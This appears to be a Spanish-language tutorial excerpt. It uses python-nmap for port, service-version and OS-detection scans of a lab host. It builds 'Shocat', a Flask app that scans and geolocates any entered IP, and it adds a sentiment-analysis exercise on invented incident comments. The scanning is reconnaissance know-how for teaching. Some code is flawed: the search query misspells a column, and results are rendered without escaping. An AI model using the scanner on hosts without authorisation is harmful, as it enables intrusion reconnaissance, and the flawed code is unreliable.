#scanner = [Link]() # descomentar para linux
ip = "[Link]"

print("[*] escaneando puertos 1-1000")

# se escanea el rango especificado directamente


[Link](ip, "1-1000")

# se recorren los puertos en orden


for port in sorted(scanner[ip]["tcp"].keys()):
state = scanner[ip]["tcp"][port]["state"]
print(f"port {port}: {state}")

[*] escaneando puertos 1-1000


port 21: open

366
port 22: open
port 23: open
port 25: open
port 53: open
port 80: open
port 111: open
port 139: open
port 445: open
port 512: open
port 513: open
port 514: open

Detección de servicios y versiones


Utiliza -sV para identificar qué servicio corre en cada puerto (por ejemplo Apache, SSH, MySQL) y su
versión. Esto permite evaluar vulnerabilidades conocidas por versión.

In [17]:
import nmap
scanner = [Link](nmap_search_path=[ r"C:\Program Files (x86)\Nmap\[Link]"])
# para windows
#scanner = [Link]() # descomentar para linux
ip = "[Link]"

print("[*] detección de servicios y versiones")

# se usa -sV para detectar versiones y servicios abiertos


[Link](ip, "1-1000", arguments="-sV")

for port, data in scanner[ip]["tcp"].items():


# se obtiene el nombre del servicio detectado
service = [Link]("name", "")

# se obtiene la versión si está disponible


version = [Link]("version", "")

print(f"port {port}: {service} {version}")

[*] detección de servicios y versiones


port 21: ftp 2.3.4
port 22: ssh 4.7p1 Debian 8ubuntu1
port 23: telnet
port 25: smtp
port 53: domain 9.4.2
port 80: http 2.2.8
port 111: rpcbind 2
port 139: netbios-ssn 3.X - 4.X
port 445: netbios-ssn 3.X - 4.X
port 512: exec
port 513: login
port 514: tcpwrapped

367
Escaneo de un rango de hosts

Escanea varios hosts (una pequeña red), muy útil para mapear quién está activo y qué puertos expone cada
uno. Es básicamente un mini escaneo de red.

In [18]:
import nmap

scanner = [Link](nmap_search_path=[ r"C:\Program Files (x86)\Nmap\[Link]"])


# para windows
#scanner = [Link]() # descomentar para linux

# rango de hosts, nmap interpreta [Link]-5 como 1,2,3,4,5


targets = "[Link]-178"

print(f"[*] escaneando rango: {targets}")

# se hace escaneo rápido


[Link](hosts=targets, arguments="-F")

for host in scanner.all_hosts():


print(f"\nhost: {host}")

# se recorren protocolos detectados


for proto in scanner[host].all_protocols():

# diccionario con los puertos


ports = scanner[host][proto]

for port in ports:


state = scanner[host][proto][port]['state']
print(f" - {port}: {state}")

[*] escaneando rango: [Link]-178

host: [Link]
- 21: open
- 22: open
- 23: open
- 25: open
- 53: open
- 80: open
- 111: open
- 139: open
- 445: open
- 513: open
- 514: open
- 2049: open
- 2121: open
- 3306: open
- 5432: open

368
- 5900: open
- 6000: open
- 8009: open

Detección del sistema operativo


Activa -O para intentar identificar el sistema operativo mediante huellas TCP/IP (fingerprinting). Funciona si el
host deja suficiente información... no siempre es exitoso.

In [20]:
import nmap

scanner = [Link](nmap_search_path=[ r"C:\Program Files (x86)\Nmap\[Link]"])


# para windows
#scanner = [Link]() # descomentar para linux
ip = "[Link]"

print("[*] intento de detección del sistema operativo")

# se usa -O para intentar obtener huella del sistema operativo


[Link](ip, arguments="-O")

# nmap no siempre puede identificar el sistema operativo


if "osmatch" in scanner[ip] and scanner[ip]["osmatch"]:
print("[+] so detectado:", scanner[ip]["osmatch"][0]["name"])
else:
print("[-] no fue posible detectar el so")

[*] intento de detección del sistema operativo


[+] so detectado: Linux 2.6.9 - 2.6.33

Flask
Flask es como ese amigo simple, buena onda y súper liviano que te ayuda a levantar una página web sin
hacerte preguntas raras, no te exige nada, no te juzga, no te pide sacrificar tu fin de semana y te dice...
amigo, pásame tu Pythoncito y yo te lo muestro en el navegador.

Es así de fácil, en el mundo de los frameworks web, Flask es como un gatito jedi que es pequeño, ligero,
elegante, no hace ruido, pero si lo dejas, te levanta un servidor web con la fuerza de Yoda. Mientras otros
frameworks son como 4 Death Stars y 18 subsistemas... Flask es más modesto, es una especie de Luke
Skywalker con una tunquita y un sable de luz que todavía brilla medio tímido.

Pero créeme..... es poderoso.

369
Antes de empezar con Flask
En Jupyter, NO puedes usar [Link]() directamente porque bloqueas el kernel... en su lugar usarás:

from flask import Flask


app = Flask(name)

[Link](host="[Link]", port=5000, debug=False, use_reloader=False)

Deberás ejecutar esa celda y dejarla corriendo...el servidor queda activo mientras la celda siga viva.

Para apagarlo deberás reiniciar el kernel del notebook o matar el proceso desde el administrador de tareas.

Flask súper básico


Ahora crearemos una app muy básica.

In [78]:
from flask import Flask

app = Flask(__name__)

@[Link]("/")
def home():
return "Hola, soy Flask corriendo desde Jupyter, de nada amigo..."

o ejecutamos y el puerto a la escucha quedará en el 5000

370
In [79]:
[Link](host="[Link]", port=5000, debug=False, use_reloader=False)

* Serving Flask app '__main__'


* Debug mode: off

WARNING: This is a development server. Do not use it in a production deployment. Use a


production WSGI server instead.
* Running on all addresses ([Link])
* Running on [Link]
* Running on [Link]
Press CTRL+C to quit
[Link] - - [01/Dec/2025 22:01:30] "GET / HTTP/1.1" 200 -

Si todo sale bien y la fuerza te acompaño, podrás verlo así:

Flask con plantilla HTML + Formulario simple


Primero, crear estructura:

In [80]:
import os

[Link]("mscan/templates", exist_ok=True)

Ahora creamos [Link]:

In [81]:
html = """
<!DOCTYPE html>
<html>
<head>
<title>Formulario Flask</title>

371
</head>
<body>
<h1>Buscar IP</h1>
<form action="/buscar" method="post">
<input type="text" name="ip" placeholder="Ingresa una IP">
<button type="submit">Enviar</button>
</form>

{% if resultado %}
<h3>Resultado:</h3>
<p>{{ resultado }}</p>
{% endif %}
</body>
</html>
"""

with open("mscan/templates/[Link]", "w", encoding="utf-8") as f:


[Link](html)

Creamos la App:

In [83]:
from flask import Flask, render_template, request

app = Flask(__name__, template_folder="mscan/templates")

@[Link]("/")
def home():
return render_template("[Link]")

@[Link]("/buscar", methods=["POST"])
def buscar():
ip = [Link]("ip")
return render_template("[Link]", resultado=f"Buscaste: {ip}")

Corremos el proyecto:

Si todo sale bien, te saldrá este resultado en tu App:

372
Flask + Nmap
Esto es un Mini-Shocat básico, limpio, sin extras... servirá para entender el Episodio IV

Creemos la estructura:

In [86]:
import os

[Link]("mscan/templates", exist_ok=True)

Ahora, creemos el [Link]

In [87]:
html_nmap = """
<!DOCTYPE html>
<html>
<head>
<title>Mini Shocat</title>
</head>
<body>
<h1>Mini Shocat 1.0 </h1>

<form action="/scan" method="post">


<input type="text" name="ip" placeholder="Ingresa una IP">
<button type="submit">Escanear</button>
</form>

{% if resultado %}
<h3>Resultado del escaneo:</h3>
<pre>{{ resultado }}</pre>
{% endif %}
</body>
</html>

373
"""

with open("mscan/templates/[Link]", "w", encoding="utf-8") as f:


[Link](html_nmap)

Creamos la App

In [88]:
import nmap
from flask import Flask, render_template, request
import json

app = Flask(__name__, template_folder="mscan/templates")

@[Link]("/")
def home():
return render_template("[Link]")

@[Link]("/scan", methods=["POST"])
def scan(): # Esto lo vimos en nmap anteriormente.
ip = [Link]("ip")

nm = [Link](nmap_search_path=[ r"C:\Program Files (x86)\Nmap\[Link]" ])

[Link](hosts=ip, arguments="-sV -T4")

data = {}

for host in nm.all_hosts():


data[host] = []
for proto in nm[host].all_protocols():
for port in nm[host][proto]:
s = nm[host][proto][port]
data[host].append({
"puerto": port,
"protocolo": proto,
"estado": s["state"],
"servicio": [Link]("name", "")
})

return render_template("[Link]", resultado=[Link](data, indent=4))

Corremos la mini App:

In [89]:
[Link](host="[Link]", port=5000, debug=False, use_reloader=False)

* Serving Flask app '__main__'


* Debug mode: off

374
WARNING: This is a development server. Do not use it in a production deployment. Use a
production WSGI server instead.
* Running on all addresses ([Link])
* Running on [Link]
* Running on [Link]
Press CTRL+C to quit
[Link] - - [01/Dec/2025 22:19:08] "POST /buscar HTTP/1.1" 404 -
[Link] - - [01/Dec/2025 22:19:12] "GET / HTTP/1.1" 200 -
[Link] - - [01/Dec/2025 22:22:28] "POST /scan HTTP/1.1" 200 -

Si todo sale bien, estamos listos para el otro ejercicio:

Como dato extra, esto te servirá para ver como quedaron los directorios:

In [90]:
import os

for root, dirs, files in [Link]("mscan", topdown=True):


level = [Link]("mscan", "").count([Link])
indent = " " * 4 * level
print(f"{indent}{[Link](root)}/")
subindent = " " * 4 * (level + 1)
for f in files:

375
print(f"{subindent}{f}")

mscan/
templates/
[Link]

Episodio IV - Shocat

Shocat nació en una de esas noches tranquilas donde uno juega a inventar cosas sin tomarse tan en serio,
miré la pantalla, tomé un sorbo de café y pensé.... ¿Y si hago mi propio Shodan… pero versión gatito jedi? y
funcionó.... porque Shocat no es un imperio... ni un escáner galáctico...Es algo pequeño, curioso, con alma
de aprendiz, un mini explorador que revisa puertos como gato que olfatea bolsas de supermercado y que de
vez en cuando parece decirme... tranquilo, padawan… aquí el puerto 22 huele a aventura.

El nombre salió solo, Shodan + Cat = Shocat.

Simple, tierno, medio chistoso y perfecto para lo que es... un ejemplo básico, un primer paso, una
herramienta mínima para aprender, un proyecto que no quiere impresionar a nadie...solo funcionar.

Crear la estructura básica del proyecto


Antes de cualquier magia jedi, levantamos la estructura mínima:

shocat/
│── [Link]
│── [Link]
├── templates/
└── static/

376
Este fue simplemente es el orden inicial, para que Flask sepa dónde encontrar las vistas y más adelante, los
archivos estáticos.

Esto se traduce a python de esta forma :

In [23]:
import os
from pathlib import Path

root = Path("shocat")

(root / "static" / "css").mkdir(parents=True, exist_ok=True)


(root / "static" / "js").mkdir(parents=True, exist_ok=True)
(root / "templates").mkdir(parents=True, exist_ok=True)

print("[*] Carpetas creadas correctamente")

[*] Carpetas creadas correctamente

Crear la base de datos SQLite


Diseñamos una base mínima con una tabla hosts, donde guardar:

●​ IP
●​ Fecha
●​ Puertos
●​ Sistemas operativos
●​ Ciudad
●​ País

Esto permitirá convertir un escaneo momentáneo en un historial consultable.

In [93]:
import sqlite3
from pathlib import Path

db_path = Path("shocat/[Link]") # crear db dentro del proyecto

conn = [Link](db_path) # conectarse a la bd desde python


c = [Link]() # preparar el cursor para una query

# crear tabla host y sus columnas


[Link]("""
CREATE TABLE IF NOT EXISTS hosts (
id INTEGER PRIMARY KEY AUTOINCREMENT,
ip TEXT,
fecha TEXT,
puertos TEXT,
sistemas_operativos TEXT,
ciudad TEXT,

377
pais TEXT
)
""")

[Link]() # inyectar la query


[Link]() # cerrar conexion

print("[+] Base de datos creada correctamente: shocat/[Link]")

[+] Base de datos creada correctamente: shocat/[Link]

Escribir la aplicación Flask dentro de Jupyter - [Link]


Creamos las rutas principales y funciones:

●​ / ---> página principal


●​ /scan ---> escaneo en vivo
●​ /history ---> historial de IPs escaneadas
●​ /search ---> búsqueda general

Aquí Shocat toma forma como aplicación web con una interfaz simple que responde a las acciones del
usuario. Además, conectaremos Nmap para poder escanear puertos y detectar servicios y para que todo
salga bien, configuraremos la ruta a [Link] para Windows.

In [94]:
app_code = r"""
import nmap
import sqlite3
import json
import requests
from flask import Flask, render_template, request, jsonify
from datetime import datetime

DB_PATH = "[Link]"

app = Flask(__name__, template_folder="templates")

# ---------------------------------------
# DB FUNCTIONS
# ---------------------------------------
def get_db():
conn = [Link](DB_PATH)
conn.row_factory = [Link]
return conn

def guardar_en_historial(ip, puertos, os_list, ciudad, pais):


conn = [Link](DB_PATH)
c = [Link]()
[Link]('''

378
INSERT INTO hosts (ip, fecha, puertos, sistemas_operativos, ciudad, pais)
VALUES (?, ?, ?, ?, ?, ?)
''', (
ip,
[Link]().strftime("%Y-%m-%d %H:%M:%S"),
[Link](puertos),
[Link](os_list),
ciudad,
pais
))
[Link]()
[Link]()

# ---------------------------------------
# GEOLOC
# ---------------------------------------
def geolocalizar(ip):
try:
data = [Link](f"[Link]
return [Link]("city", "Desconocido"), [Link]("country", "Desconocido")
except:
return "Desconocido", "Desconocido"

# ---------------------------------------
# HOME
# ---------------------------------------
@[Link]("/")
def home():
return render_template("[Link]")

# ---------------------------------------
# ESCANEO CON GUARDADO AUTOMÁTICO
# ---------------------------------------
@[Link]("/scan")
def api_scan():
ip = [Link]("ip")
if not ip:
return jsonify({"error": "Debe enviar ?ip="}), 400

try:
nm = [Link](nmap_search_path=[r"C:\\Program Files
(x86)\\Nmap\\[Link]"])
except Exception as e:
return jsonify({"error": f"No se pudo iniciar Nmap: {e}"}), 500

try:
[Link](hosts=ip, arguments="-sV -O -T4")
except Exception as e:
return jsonify({"error": f"Error ejecutando Nmap: {e}"}), 500

379
data = []

for host in nm.all_hosts():

host_info = {"ip": host, "puertos": [], "os": []}

# OS
if "osmatch" in nm[host]:
for os in nm[host]["osmatch"]:
host_info["os"].append({
"nombre": os["name"],
"precision": os["accuracy"] + "%",
"tipo": [Link]("osclass", [{}])[0].get("type", "desconocido")
})
else:
host_info["os"].append({"nombre": "No detectado", "precision": "0%",
"tipo": "desconocido"})

# PUERTOS
for proto in nm[host].all_protocols():
for port in nm[host][proto]:
s = nm[host][proto][port]
host_info["puertos"].append({
"puerto": port,
"protocolo": proto,
"estado": s["state"],
"nombre_servicio": [Link]("name", ""),
"version": [Link]("version", ""),
"producto": [Link]("product", "")
})

# GUARDAR EN DB
ciudad, pais = geolocalizar(host_info["ip"])
guardar_en_historial(
host_info["ip"],
host_info["puertos"],
host_info["os"],
ciudad,
pais
)

[Link](host_info)

return jsonify({
"fecha": [Link]().strftime("%Y-%m-%d %H:%M:%S"),
"data": data
})

# ---------------------------------------
# HISTORIAL
# ---------------------------------------
@[Link]("/history")

380
def api_history():
ip = [Link]("ip")
if not ip:
return jsonify({"error": "Debe enviar ?ip="}), 400

conn = get_db()
c = [Link]()
[Link]("SELECT * FROM hosts WHERE ip = ? ORDER BY fecha DESC", (ip,))
rows = [Link]()
[Link]()

historial = []

for r in rows:
[Link]({
"ip": r["ip"],
"fecha": r["fecha"],
"puertos": [Link](r["puertos"]),
"sistemas_operativos": [Link](r["sistemas_operativos"]),
"ciudad": r["ciudad"],
"pais": r["pais"]
})

return jsonify(historial)

# ---------------------------------------
# BUSCADOR
# ---------------------------------------
@[Link]("/search")
def api_search():
q = [Link]("q")
if not q:
return jsonify({"error": "Debe enviar ?q="}), 400

pattern = f"%{q}%"

conn = get_db()
c = [Link]()
[Link]('''
SELECT * FROM hosts
WHERE ip LIKE ?
OR puertos LIKE ?
OR sistemas_operitivos LIKE ?
OR ciudad LIKE ?
OR pais LIKE ?
ORDER BY fecha DESC
''', (pattern, pattern, pattern, pattern, pattern))

rows = [Link]()
[Link]()

resultado = [{

381
"ip": r["ip"],
"fecha": r["fecha"],
"ciudad": r["ciudad"],
"pais": r["pais"]
} for r in rows]

return jsonify(resultado)

if __name__ == "__main__":
[Link](debug=True, port=5000)
"""

with open("shocat/[Link]", "w", encoding="utf-8") as f:


[Link](app_code)

print("[*] [Link] creado en shocat/")

[*] [Link] creado en shocat/

Dashboard [Link]
Después crearemos una página sencilla para interactuar con el sistema con un formulario básico y un
espacio para mostrar resultados.

In [33]:
index_html = r"""
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8" />
<title>Shocat Sentinel</title>

<link rel="stylesheet" href="[Link] />


<link rel="stylesheet" href="{{ url_for('static', filename='css/[Link]') }}" />

<style>
/* Fallback rápido si [Link] falla al cargar */
body { background:#0d0d0d; color:#00ffcc; }
</style>
</head>

<body>

<!-- Logo -->


<div id="logo">
<img src="{{ url_for('static', filename='[Link]') }}" alt="Shocat
Sentinel" />
</div>

<h1>SHOCAT SENTINEL</h1>

382
<!-- Buscador -->
<div class="search-bar">
<input type="text" id="ipFilter" placeholder="Ingresa una IP, rango o búsqueda">
<button onclick="loadScan()">Escanear</button>
<button onclick="loadHistory()">Historial</button>
<button onclick="loadSearch()">Buscar</button>
</div>

<!-- Mapa -->


<div id="map"></div>

<!-- Contenedor de resultados -->


<div id="results"></div>

<!-- Scripts -->


<script src="[Link]
<script src="{{ url_for('static', filename='js/[Link]') }}"></script>

</body>
</html>
"""

with open("shocat/templates/[Link]", "w", encoding="utf-8") as f:


[Link](index_html)

print("[*] [Link] creado correctamente")

[*] [Link] creado correctamente

Javascript
Después haremos un archivo [Link], donde implementaremos las funciones loadScan(), loadHistory() y
loadSearch(),las peticiones AJAX hacia Flask, la actualización del mapa, la construcción de tarjetas de
resultados y la geolocalización de IPs con un servicio externo.

In [67]:
main_js = r"""
// -------------------------------------------
// Inicializar mapa
// -------------------------------------------

let map;

function initMap() {
map = [Link]('map').setView([20, 0], 2);

[Link]('[Link] {
maxZoom: 19
}).addTo(map);

383
}

// -------------------------------------------
// Aux: geolocalizar IP
// -------------------------------------------

async function geolocalizarIP(ip) {


try {
const r = await fetch(`[Link]
const j = await [Link]();

if ([Link]) {
return {
lat: [Link],
lon: [Link],
city: [Link],
country: [Link]
};
}
} catch (e) {}

return {
lat: [Link]()*140 - 70,
lon: [Link]()*360 - 180,
city: "Desconocido",
country: "Desconocido"
};
}

// -------------------------------------------
// ESCANEAR
// -------------------------------------------

async function loadScan() {


const ip = [Link]("ipFilter").value;
if (!ip) return alert("Ingrese una IP para escanear.");

const r = await fetch(`/scan?ip=${encodeURIComponent(ip)}`);


const data = await [Link]();

renderResults([Link]);
}

// -------------------------------------------
// HISTORIAL
// -------------------------------------------

async function loadHistory() {


const ip = [Link]("ipFilter").value;
if (!ip) return alert("Ingrese una IP para ver el historial.");

const r = await fetch(`/history?ip=${encodeURIComponent(ip)}`);


const data = await [Link]();

384
renderResults(data);
}

// -------------------------------------------
// BUSQUEDA GENERAL
// -------------------------------------------

async function loadSearch() {


const q = [Link]("ipFilter").value;
if (!q) return alert("Ingrese búsqueda.");

const r = await fetch(`/search?q=${encodeURIComponent(q)}`);


const data = await [Link]();

renderResults(data);
}

// -------------------------------------------
// Renderizar resultados
// -------------------------------------------

async function renderResults(lista) {

const resultsDiv = [Link]("results");


[Link] = "";

[Link](l => {
if (l instanceof [Link] || l instanceof [Link])
[Link](l);
});

for (const host of lista) {

const geo = await geolocalizarIP([Link]);

// Dibujar punto en mapa


[Link]([[Link], [Link]], {
radius: 6,
fillColor: "#ff00ff",
color: "#00ffcc",
weight: 1,
fillOpacity: 0.8
})
.addTo(map)
.bindPopup(`
<b>${[Link]}</b><br>
${[Link]}, ${[Link]}<br>
Última vista: ${[Link]}
`);

// Tarjeta en HTML
const card = [Link]("div");

385
[Link] = "result-card";

const puertosHTML = [Link]?.length


? [Link](p => `
<li>${[Link]}/${[Link]} – ${p.nombre_servicio}
(${[Link]})</li>
`).join("")
: "<li>Sin datos</li>";

const soHTML = host.sistemas_operativos?.length


? host.sistemas_operativos.map(os => `
<li>${[Link]} [${[Link]}] (${[Link]})</li>
`).join("")
: "<li>Sin datos</li>";

[Link] = `
<div class="ip-address">${[Link]}</div>
<div class="small-text">Última vista: ${[Link]}</div>
<div class="small-text">Ubicación: ${[Link]}, ${[Link]}</div>

<div class="section-title">Puertos abiertos:</div>


<ul>${puertosHTML}</ul>

<div class="section-title">Sistemas Operativos:</div>


<ul>${soHTML}</ul>
`;

[Link](card);
}
}

// Inicializar mapa al cargar página


[Link] = initMap;
"""

with open("shocat/static/js/[Link]", "w", encoding="utf-8") as f:


[Link](main_js)

print("[X] [Link] actualizado correctamente")

[X] [Link] actualizado correctamente

CSS
Luego escribiremos el [Link] para darle más personalidad al HTML con colores oscuros, acentos verdes,
tarjetas para mostrar resultados, un mapa con borde neón, una barra de búsqueda estilizada.

In [35]:
css_code = r"""
/* ============================
ESTILOS NEON SHOCAT
============================ */

386
body {
background-color: #0d0d0d;
color: #00ffcc;
font-family: 'Courier New', monospace;
margin: 0;
padding: 0;
}

/* Logo */
#logo {
position: fixed;
top: 15px;
left: 8px;
z-index: 1000;
}

#logo img {
width: 85px;
filter: drop-shadow(0 0 10px #00ffcc);
transition: transform 0.3s ease;
cursor: pointer;
}

#logo img:hover {
transform: scale(1.1);
filter: drop-shadow(0 0 15px #ff00ff);
}

/* Título principal */
h1 {
font-family: 'Orbitron', sans-serif;
font-size: 2.8em;
text-align: center;
color: #ff4dd2;

background: linear-gradient(90deg, #ff4dd2, #ff00aa, #ff4dd2);


background-size: 200% auto;
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;

animation: neonGlow 3s linear infinite, gradientShift 6s linear infinite;

margin: 20px 0 30px 0;

text-shadow:
0 0 15px #ff4dd2,
0 0 30px #ff00aa,
0 0 40px #ff4dd2;
}

@keyframes neonGlow {

387
0%, 100% {
text-shadow:
0 0 15px #ff4dd2,
0 0 30px #ff00aa,
0 0 40px #ff4dd2,
0 0 50px #ff00aa;
}
50% {
text-shadow:
0 0 20px #ff00aa,
0 0 35px #ff4dd2,
0 0 50px #ff00aa,
0 0 60px #ff4dd2;
}
}

@keyframes gradientShift {
0% { background-position: 0% 50%; }
50% { background-position: 100% 50%; }
100% { background-position: 0% 50%; }
}

/* Buscador */
.search-bar {
display: flex;
justify-content: center;
margin: 20px auto;
gap: 10px;
}

.search-bar input,
.search-bar button {
padding: 12px;
border: none;
outline: none;
font-family: 'Courier New', monospace;
font-size: 1em;
border-radius: 5px;
}

.search-bar input {
width: 320px;
background: #1a1a1a;
color: #00ffcc;
border: 1px solid #00ffcc;
}

.search-bar button {
background: #ff00ff;
color: #fff;
cursor: pointer;
transition: background 0.3s;

388
}

.search-bar button:hover {
background: #cc00cc;
}

/* Mapa */
#map {
height: 55vh;
width: 90%;
margin: 0 auto;
border: 2px solid #00ffcc;
box-shadow: 0 0 20px #00ffcc;
border-radius: 10px;
}

/* Resultados */
#results {
padding: 20px 10%;
margin-top: 20px;
}

.result-card {
background: #1a1a1a;
border: 1px solid #00ffcc;
border-radius: 8px;
padding: 20px;
margin: 15px 0;
box-shadow: 0 0 15px #00ffcc;
transition: box-shadow 0.3s;
}

.result-card:hover {
box-shadow: 0 0 25px #ff00ff;
}

.ip-address {
color: #ff00ff;
font-weight: bold;
font-size: 1.3em;
}

.section-title {
color: #00ffff;
margin-top: 10px;
font-weight: bold;
font-size: 1.1em;
}

.small-text {
color: #99ffcc;

389
font-size: 0.9em;
}

/* Responsive */
@media (max-width: 768px) {
#logo img {
width: 60px;
}

#map {
width: 95%;
}

#results {
padding: 10px 5%;
}

.search-bar {
flex-direction: column;
align-items: center;
}

.search-bar input {
width: 90%;
}
}
"""

with open("shocat/static/css/[Link]", "w", encoding="utf-8") as f:


[Link](css_code)

print("[*] [Link] creado correctamente")

[*] [Link] creado correctamente

Ejecutamos el proyecto para responder desde el navegador:

In [95]:
!cd shocat && flask --app [Link] run --host=[Link] --port=5000

^C

WARNING: This is a development server. Do not use it in a production deployment. Use a


production WSGI server instead.
* Running on all addresses ([Link])
* Running on [Link]
* Running on [Link]
Press CTRL+C to quit
[Link] - - [01/Dec/2025 22:55:03] "GET / HTTP/1.1" 200 -
[Link] - - [01/Dec/2025 22:55:03] "GET /static/js/[Link] HTTP/1.1" 304 -
[Link] - - [01/Dec/2025 22:55:03] "GET /static/css/[Link] HTTP/1.1" 304 -

390
[Link] - - [01/Dec/2025 22:55:03] "GET /static/[Link] HTTP/1.1" 304 -
[Link] - - [01/Dec/2025 22:58:52] "GET /scan?ip=[Link] HTTP/1.1" 200 -

* Serving Flask app '[Link]'


* Debug mode: off

Si la fuerza te acompaña, esta será la interfaz:

Si queremos ver si se guardó la búsqueda en bases de datos esto sirve:

In [96]:
import sqlite3
import json

conn = [Link]("shocat/[Link]")
c = [Link]()

[Link]("SELECT ip, fecha, ciudad, pais FROM hosts ORDER BY id DESC LIMIT 5")
rows = [Link]()

for r in rows:
print(r)

391
[Link]()

('[Link]', '2025-12-01 22:58:52', 'Fremont', 'United States')


('[Link]', '2025-12-01 01:33:57', 'Desconocido', 'Desconocido')
('[Link]', '2025-12-01 01:26:35', 'Desconocido', 'Desconocido')
('[Link]', '2025-12-01 01:15:16', 'Desconocido', 'Desconocido')
('[Link]', '2025-12-01 01:02:49', 'Desconocido', 'Desconocido')

NTLK-Clasificar sentimiento en alertas de


seguridad
La ciberseguridad no es solo máquinas, logs y alertas, pero también son personas...analistas que escriben
mensajes, equipos que reportan incidentes, comentarios que reflejan estrés, cansancio, calma, urgencia o
incluso señales tempranas de burnout. En el día a día, mucho de lo que ocurre en un SOC o en un CSIRT se
transmite por palabras y esas palabras, llevan una carga emocional que normalmente pasa desapercibida.

El análisis de sentimiento nos ayuda justamente a leer esa capa oculta o tras más.. No para reemplazar a
nadie, ni para decidir por encima de un humano, sino como una forma de entender mejor el contexto
emocional detrás de un mensaje o una alerta.

La idea de trabajar este tema es simple, entender el tono de lo que se escribe para apoyar mejores
decisiones, priorizar incidentes y cuidar al equipo tanto como cuidamos la infraestructura.

In [99]:
!pip install nltk
!pip install numpy
!pip install sentiment-analysis-spanish

Requirement already satisfied: nltk in c:\users\starh\anaconda3\lib\site-packages


(3.9.1)
Requirement already satisfied: click in c:\users\starh\anaconda3\lib\site-packages
(from nltk) (8.1.8)
Requirement already satisfied: joblib in c:\users\starh\anaconda3\lib\site-packages
(from nltk) (1.4.2)
Requirement already satisfied: regex>=2021.8.3 in
c:\users\starh\anaconda3\lib\site-packages (from nltk) (2024.11.6)
Requirement already satisfied: tqdm in c:\users\starh\anaconda3\lib\site-packages (from
nltk) (4.67.1)
Requirement already satisfied: colorama in c:\users\starh\anaconda3\lib\site-packages
(from click->nltk) (0.4.6)
Requirement already satisfied: numpy in c:\users\starh\anaconda3\lib\site-packages
(2.1.3)
Requirement already satisfied: sentiment-analysis-spanish in
c:\users\starh\anaconda3\lib\site-packages (0.0.25)

Medir el tono emocional en comentarios sobre incidentes

392
Antes de mirar el código, este ejercicio toma comentarios simples sobre un incidente de ciberseguridad y los
pasa por un modelo de sentimiento en español. Esto te permite ver si la comunidad está preocupada,
calmada o enojada, usando solo lenguaje.

In [102]:
from sentiment_analysis_spanish import sentiment_analysis
import warnings
[Link]("ignore", category=UserWarning)

sentiment = sentiment_analysis.SentimentAnalysisSpanish()

comentarios = [
"Qué rabia, otra filtración de datos… esto ya es ridículo.",
"Tranquilo, parece que ya lo solucionaron.",
"Estoy preocupado, esto podría afectar a mi trabajo.",
"Me da igual, nunca uso ese servicio.",
"Buena noticia que lo hayan controlado tan rápido."
]

for c in comentarios:
print(c, " --->", [Link](c))

Qué rabia, otra filtración de datos… esto ya es ridículo. ---> 0.0004889512716387087


Tranquilo, parece que ya lo solucionaron. ---> 0.009008810721301932
Estoy preocupado, esto podría afectar a mi trabajo. ---> 0.06957750125641439
Me da igual, nunca uso ese servicio. ---> 0.00731889452723936
Buena noticia que lo hayan controlado tan rápido. ---> 0.1435436724592762

Interpretación rápida:

●​ 0.00 = Muy negativo (rabia, frustración).


●​ 0.01 = Negativo leve.
●​ 0.06 = Preocupación real.
●​ 0.14 = Positivo leve (calma, alivio).

Si hacemos una función que interprete lo anterior sería así:

In [103]:
def interpretar(score):
if score < 0.1:
return "negativo"
elif score < 0.25:
return "neutral/ligero positivo"
else:
return "positivo"

for c in comentarios:
score = [Link](c)
print(c, "-->", score, "-->", interpretar(score))

393
Qué rabia, otra filtración de datos… esto ya es ridículo. --> 0.0004889512716387087 -->
negativo
Tranquilo, parece que ya lo solucionaron. --> 0.009008810721301932 --> negativo
Estoy preocupado, esto podría afectar a mi trabajo. --> 0.06957750125641439 -->
negativo
Me da igual, nunca uso ese servicio. --> 0.00731889452723936 --> negativo
Buena noticia que lo hayan controlado tan rápido. --> 0.1435436724592762 -->
neutral/ligero positivo

Monitoreo emocional en tiempo simulado ante un posible


ataque
Este ejercicio simula algo parecido a lo que harías en un entorno OSINT...llega un flujo de comentarios (todos
inventados),luego cada comentario puede ser negativo, neutral o positivo, posteriormente, calculamos el
sentimiento, marcamos si el promedio de sentimiento cae demasiado y finalmente,si cae bajo un umbral, se
dispara una alerta temprana.

In [105]:
from sentiment_analysis_spanish import sentiment_analysis
import numpy as np
import time

sent = sentiment_analysis.SentimentAnalysisSpanish()

# Comentarios simulados que llegan en el tiempo


flujo = [
"Todo funcionando normal hoy.",
"El servicio está un poco lento, raro.",
"Me llegó un correo sospechoso, ¿a alguien más?",
"Error al entrar a la plataforma, qué miedo.",
"Otra caída más, imposible trabajar así.",
"Creo que nos están atacando nuevamente.",
"Parece que ya lo arreglaron.",
"Estoy más tranquilo ahora.",
"Volvió a fallar, esto ya es grave.",
]

def clasificar(score):
if score < 0.15:
return "negativo"
elif score < 0.35:
return "neutral"
return "positivo"

umbral_alerta = 0.12 # Bajo esto, la emoción colectiva se vuelve critica


ventana = 4 # Cuantos comentarios analizamos cómo últimos X
buffer = []

print("[+] Monitoreando sentimiento público :\n")

394
for comentario in flujo:
score = [Link](comentario)
etiqueta = clasificar(score)

[Link](score)
if len(buffer) > ventana:
[Link](0)

promedio = [Link](buffer)

print(f"Comentario: {comentario}")
print(f" [+] Score: {score:.3f} ({etiqueta})")
print(f" [*] Promedio últimos {len(buffer)} comentarios: {promedio:.3f}")

if promedio < umbral_alerta:


print(" [X] ALERTA: posible incidente por aumento de negatividad
colectiva.\n")
else:
print(" [X] Estado: estable.\n")

[Link](0.2) # solo para simular flujo en el tiempo

[+] Monitoreando sentimiento público :

Comentario: Todo funcionando normal hoy.


[+] Score: 0.032 (negativo)
[*] Promedio últimos 1 comentarios: 0.032
[X] ALERTA: posible incidente por aumento de negatividad colectiva.

Comentario: El servicio está un poco lento, raro.


[+] Score: 0.473 (positivo)
[*] Promedio últimos 2 comentarios: 0.252
[X] Estado: estable.

Comentario: Me llegó un correo sospechoso, ¿a alguien más?


[+] Score: 0.002 (negativo)
[*] Promedio últimos 3 comentarios: 0.169
[X] Estado: estable.

Comentario: Error al entrar a la plataforma, qué miedo.


[+] Score: 0.002 (negativo)
[*] Promedio últimos 4 comentarios: 0.127
[X] Estado: estable.

Comentario: Otra caída más, imposible trabajar así.


[+] Score: 0.019 (negativo)
[*] Promedio últimos 4 comentarios: 0.124
[X] Estado: estable.

Comentario: Creo que nos están atacando nuevamente.


[+] Score: 0.024 (negativo)
[*] Promedio últimos 4 comentarios: 0.012

395
